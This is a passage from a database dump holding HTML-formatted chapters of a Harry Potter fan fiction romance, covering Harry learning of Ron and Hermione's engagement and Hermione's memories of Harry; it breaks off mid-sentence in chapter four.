class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, the\narticle in question isn&#8217;t really about you, directly,&#8221; Sirius said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well,\nthere&#8217;s no harm in me reading it, then,&#8221; Harry said. &#8220;Come on, Sirius. I&#8217;m not\n11 years old anymore. I don&#8217;t need you to protect me. Let me see the paper.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221;\nSirius said. &#8220;Here.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius took\nthe paper unfolded it and handed it to Harry. He watched as Harry read the\narticle. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When Harry\ntook the paper, he&#8217;d expected everything, but what was actually staring back at\nhim. The words on that page cut at his very soul. He hadn&#8217;t expected this. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\nWizarding World Agog with Weasley Wedding Plans\n\n<p class="MsoNormal">By Caroline Cadavie </p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Mr. And Mrs. Arthur Weasley proudly announce the\nengagement of their son, Ronald Weasley to Hermione Elizabeth Granger, daughter\nof muggle Drs. Chris and Anna Granger. Ron Weasley and Hermione Granger, best\nknown as the childhood best friends of The Boy Who Lived, Harry Potter, have\nbeen quietly dating for the past three years. The engagement wasn&#8217;t a surprise,\nbut was a long-time coming. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The\nwedding is scheduled to be held on October 24 at 7:00 p.m. at Hogwarts School\nof Witchcraft &amp; Wizardry. The wedding will be held in the Great Hall and a\nreception will follow the ceremony. Arthur Weasley will serve as his son&#8217;s best\nman. Ushers will be Percy Weasley, Charlie Weasley, Fred Weasley, Charlie\nWeasley and Bill Weasley, brothers of the groom. Miss Granger&#8217;s attendants will\nbe Ginny Weasley Malfoy (matron of honor), Lavender Brown Finnegan and Susan\nBones, school friends of the bride. No word on whether Harry Potter will\nattend. Keep reading The Daily Prophet for more details on the Wizarding\nWedding of the Year. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat\nsilently holding the paper. Neither he nor Sirius spoke for what seemed like an\neternity. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well,&#8221;\nHarry said, exhaling. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How about\nthat?&#8221; Sirius said. &#8220;Ron and Hermione.&#8221;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said, softly. &#8220;Ron\nand Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You okay\nwith that,&#8221; Sirius asked. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t\nhave any say in that,&#8221; Harry said. &#8220;I made my choice. I have to live with it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe you\ndidn&#8217;t make the right choice.&#8221; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is that supposed to mean?&#8221;\nHarry asked, crumpling up the newspaper. &#8220;You were the one who told me that I\nshould leave. You said that in order to keep her safe, I had to leave.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I said\nthat if you were going to be an auror, you had to think about the people in\nyour life and what you would do protect them. I never told you to leave her\nbehind,&#8221; Sirius argued. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What difference\ndoes it make now?&nbsp; I made my choice, she&#8217;s\nobviously made hers. If Ron makes her happy, I won&#8217;t stand in their way. I&#8217;m\nhappy for them,&#8221; Harry said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve\nnever been a good liar,&#8221; Sirius said. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We better\nget going. We&#8217;re late,&#8221; Harry said, looking at his watch. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And now\nyou&#8217;re trying to change the subject,&#8221; Sirius said, getting up from the table. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stood\nup, too. He threw the crumpled newspaper in a garbage can. &#8220;There. Out of\nsight, out of mind. Let&#8217;s go.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius didn&#8217;t\nfollow Harry, immediately. He stood looking at him walking away. &#8220;Out of sight,\nmaybe. But not out of mind, Harry.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(In the next chapter, we will see what Hermione has been up\nto&#8230;.stay tuned!)</p>\n\n\n\n\n\n\n'),
	(255, 3, '\n\n\n\n<p class="MsoNormal">Notes:&nbsp; Well, here&#8217;s what I promised&#8230;.the story now\ngoes into Hermione&#8217;s viewpoint&#8230;.hope ya&#8217;ll like. Again, characters aren&#8217;t\nmine&#8230;.unfortunately&#8230;.they are J.K. Rowling&#8217;s property&#8230;.yada yada yada&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter Three </p>\n\n<p class="MsoNormal">Someday</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">London, England </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">While\nHarry was eating breakfast with Sirius, Hermione Granger and Ron Weasley were\neating dinner at his parents&#8217; house, The Burrow. News of their engagement had\nspread fast, and Mrs. Weasley had invited the entire family over to share in\nthe good news. Percy was there with his wife, Penelope. Fred and George had\nclosed up their joke shop in Hogsmeade early to come in for the dinner. Draco\nMalfoy and his very pregnant wife, Ginny, were also there. The only missing\nWeasleys were the two eldest---Bill and Charlie. Bill was in France working for\nGringotts. He&#8217;d sent a congratulatory message to both Hermione and Ron by owl\nthat morning. Charlie was unable to get away from his job working with dragons\nin Romania. He, too, had sent best wishes to the happy couple. Even Hermione&#8217;s\nparents had managed to come. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To the outside world, it would seem\nlike one big happy family. For the most part, it was. For the bride-to-be, it\nall of a sudden seemed too much to handle. Everything had happened so fast. Ron\nhad proposed only two days ago. She&#8217;d already been approached by a number of\ndressmakers wanting to design her dress. Mrs. Weasley kept rushing over to hug\nher every five minutes. Hermione loved Mrs. Weasley dearly, but if she heard\none more time how happy she was, Hermione knew she&#8217;d lose it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t understand why she was so\ncross lately. She tried to chalk it up to needing more sleep, but had a nagging\nsuspicion it was something more. She loved, Ron. She loved him very much. He&#8217;d\nbeen there for her. If she were being truthful, she&#8217;d never loved him as much\nas she&#8217;d loved Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Even after all that had happened,\nafter all that had been said and done, she still got that funny feeling in her\nstomach whenever she heard his name or thought about him. She still worried\nabout him. She knew that he was an auror, now. She knew that his job led him to\ndangerous places where he took perilous chances. She&#8217;d worried about him ever\nsince she met him. It was a natural thing to her, though, like breathing. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As\nshe looked around at the friends and family gathered here tonight, she couldn&#8217;t\nhelp but remember all the good times the three of them---she, Harry and\nRon---had there at the Burrow. It had become a tradition during school for them\nto spend the last couple of weeks of summer vacation there. This place was like\na second home to her. She knew Harry felt the same way about the Burrow and the\nWeasleys as she did. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm?&#8221; she said. &#8220;Oh, sorry, Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You looked lost in your thoughts\nthere. You okay?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, of course,&#8221; she said. &#8220;I&#8217;m\njust really tired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not having second thoughts are\nyou?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not,&#8221; she said. &#8220;I&#8217;m just\ntired.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we were all going to go\noutside and play some Quidditch, you want to have a go?&#8221; Ron asked her. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know how I feel about flying,&#8221;\nshe said. &#8220;I think I&#8217;ll pass. You go on, though. I&#8217;ll be fine. I think I&#8217;ll\ntake a walk. The fresh air will do me good.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you sure?&#8221; Ron asked. &#8220;I could\ngo with you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione said. &#8220;Go do your\nwonsky-faint thing, or whatever it is you call it.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not even gonna touch that one\nwith a 10-foot pole,&#8221; he said. &#8220;Be careful, okay?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I\nwill. I&#8217;ve got my wand, after all,&#8221; she said. &#8220;Now, go ahead you prat!&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He\nkissed her on the cheek before heading outside to join the rest of his family.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grabbed her jacket and set\noff on her evening stroll. The sun was just going down and the air was cool and\ncrisp.&nbsp; She was glad for the time alone,\nto be with her thoughts.&nbsp; She walked for\na while, alone in her thoughts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Without\nknowing it, or maybe subconsciously knowing it, she came to a clearing that she\nand Ron and Harry had found one summer. It was a great place to hide during the\nsummer. The trees gave a welcome shade from the hot, summer sun.&nbsp; As she stood under the trees, her mind raced\nback to a memory of a few years back. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>It\nwas the summer after the Triwizard Tournament. Harry and Hermione had been\nstaying with the Weasleys for almost two weeks. They&#8217;d be returning to Hogwarts\nfor their fifth year in a couple of days. Hermione had been sleeping in Ginny&#8217;s\nroom and Harry had been sharing Ron&#8217;s. The one bad thing about the Burrow as\nRon was apt to tell anyone who would listen was that if you ever tried to sneak\nout or go down to the kitchen in the middle of the night, there was always a\ncreaky stair or floorboard that would almost always give you away. Hermione\nremembered sleeping on a cot in Ginny&#8217;s room when she was awoken by the sound\nof a creaking floorboard. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>She\nknew she should probably just go back to sleep, but something made her get out\nof bed and check out whatever was happening. She made sure that Ginny was still\nasleep and slipped on her own robe and opened the door, slightly. To her\nsurprise it wasn&#8217;t Fred or George sneaking out, it was Harry. She followed him\ndown the stairs and out the door. She didn&#8217;t think he noticed her, but he\nturned suddenly. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;What\nare you doing out of bed?&#8221; he asked. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I should ask you the same\nquestion,&#8221; she said. &#8220;Is everything okay?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I just couldn&#8217;t sleep,&#8221; he said.\n&#8220;Thought the fresh air would be nice.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you want some company?&#8221; she\nasked. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For a moment, she thought he&#8217;d say\nno, but to her surprise, he smiled and nodded. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They walked in silence for what\nseemed like eternity. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wanted to thank you, Hermione,&#8221;\nhe said, breaking the silence. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me? For what?&#8221; she asked. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For being the only person who\nhasn&#8217;t bombarded me with questions about how I&#8217;m doing or how I&#8217;m feeling,&#8221; he\nsaid. &#8220;I appreciate it, more than you&#8217;ll ever know.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you know how hard it is for\nme to be quiet,&#8221; she said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He laughed, softly. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hope you don&#8217;t think it&#8217;s because\nI didn&#8217;t care how you were or didn&#8217;t worry about you, because I did. I just\nknew that if you wanted to talk about it, you would,&#8221; she said simply. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; he said. &#8220;Mrs. Weasley\nlooks at me like I&#8217;m a wounded puppy or something every time she sees me. I\nmean it&#8217;s nice to know that they care, but I---&#8220;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I feel like such a hypocrite,&#8221; he\nsaid. &#8220;You know, that whole thing with Cedric, it was my fault.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&#8221; she said. &#8220;You know very\nwell that that most definitely was not your fault.&nbsp; You do know that no one blames you for what happened. This was\nVoldemort&#8217;s doing, not yours. You have to know that.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; he said. &#8220;But it&#8217;s\nstill---&#8220; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still what?&#8221; she asked. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Still really hard to deal with,&#8221; he\nsaid. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;With time it will all get better,&#8221;\nshe said. &#8220;Time heals all wounds.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t start with the clich&#233;s,\nHermione,&#8221; he said. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, I know,&#8221; she said, trying to\nlighten the mood. &#8220;Every cloud has a silver lining. When life hands you lemons,\nmake lemonade. My dad is always saying stuff like that whenever I feel down\nabout stuff. I can almost tell him what he&#8217;s going to say before he says it.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How can you do that?&#8221; he asked,\nsmiling. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do what?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Know exactly what to say to make me\nfeel better,&#8221; he said. &#8220;You&#8217;ve always been there for me, Hermione. Even with\nthe whole row with Ron, you believed in me when no one else did. I never told\nyou how much I appreciated that; how much I needed that.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s what friends are for,&#8221; she\nsaid. &#8220;Oh, there I go again with the clich&#233;s. Will I ever have an original\nthought?&#8221; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He laughed again. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I missed that, you know,&#8221; she said.\n&#8220;Your laughter. There hasn&#8217;t been enough of that lately. Glad to know it&#8217;s\nback. I hope that it sticks around. You know laughter is the best medicine.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Someone\nreally needs to stop you,&#8221; he said, laughing. &#8220;You&#8217;re out of control.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;Yes,\nbut you love me for it,&#8221; she said. </i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&#8220;You\nalways hurt the one you love,&#8221; he said, pinching her arm. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey!&#8221; she said. &#8220;Okay, you are\ngonna pay for that one. Pay, do you hear me!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He started to jog and she hurried to\ncatch him. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had stayed out in the woods\nuntil the sun came up. They finally walked back up to the Burrow and sneaked\nback inside. Luckily, no one had woken up yet. To their delight and amazement,\nthe floorboards and steps didn&#8217;t creak when they were sneaking back to their\nrooms. They bid each other a quick goodbye.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;Hermione took off her robe and slipped back\nunder the covers of her cot. She didn&#8217;t fall back to sleep, though. Her mind\nwas racing. She had known then, in that one night, that she had fallen in love\nfor the first time in her life. It felt wonderful. She couldn&#8217;t imagine ever\nfeeling any different. &#8220;I&#8217;m gonna love that boy until the day I die,&#8221; she\nwhispered. She hoped that someday, she&#8217;d work up the nerve to tell him and that\nsomeday, he might even return those feelings.&nbsp;\nSomeday, she thought, as she drifted back to sleep. Someday&#8230;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;I\ncan&#8217;t keep doing this,&#8221; Hermione said, wiping away a tear from her face. &#8220;My\nlife is with Ron now. I can&#8217;t keep thinking back on something that was\nobviously never meant to be. &#8220;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Goodbye,\nHarry,&#8221; she said, taking one last look at the clearing. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">She\nwalked back toward The Burrow. She could hear the sounds of the Weasleys still\nplaying Quidditch in the backyard. The sound of the game got louder with every\nstep. She quickly made her way to the backyard. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Hermione,\ndear,&#8221; Mrs. Weasley said. &#8220;We&#8217;d wondered where you ran off to.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Just\nneeded some fresh air,&#8221; she said. &#8220;Clear my head, you know. &#8220;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Glad\nto have you back, sweetheart,&#8221; Mrs. Granger said to her daughter. &#8220;This is\ntruly amazing, this Quidditch.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;You\nshould see an actual game being played, Mom,&#8221; Hermione said. &#8220;You should have\nseen Harry play. There was never anyone like him on a broom, Mom. He was truly\namazing.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well,\nmaybe someday I will,&#8221; Mrs. Granger said, with a knowing smile at her daughter.\n</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yeah,&#8221;\nHermione said, looking up at Ron. &#8220;Someday&#8230;.&#8221;</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;\n</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(255, 4, '\n\n\n\n<p class="MsoNormal">Chapter Four </p>\n\n<p class="MsoNormal">Unexpected</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t think he could take\nthis much longer. He&#8217;d been stuck in this room with Russell Tipton, one of the\nsuspects that they&#8217;d captured the previous evening. Tipton wasn&#8217;t saying much\nof anything. He&#8217;d kept his answers to Harry&#8217;s questions short and simple, not\nmuttering more than a&nbsp; &#8220;yes&#8221; or &#8220;no&#8221; to\nanything Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course, he hadn&#8217;t expected Tipton\nto be forthcoming with information. These people were loyal to a fault, Harry\nhad to admit. He&#8217;d been with Tipton for nearly three hours and hadn&#8217;t\naccomplished much of anything. Well, that wasn&#8217;t exactly true. Harry had\ndetermined without a doubt that Tipton had to have the worst breath in the free\nworld. It reminded him of Fluffy, the three-headed dog who had guarded the\nSorcerer&#8217;s Stone. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, Tipton,&#8221; Harry began. &#8220;The\nway I see it, you have two options. The first being that you can tell me what I\nwant to hear and have guaranteed immunity.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And the 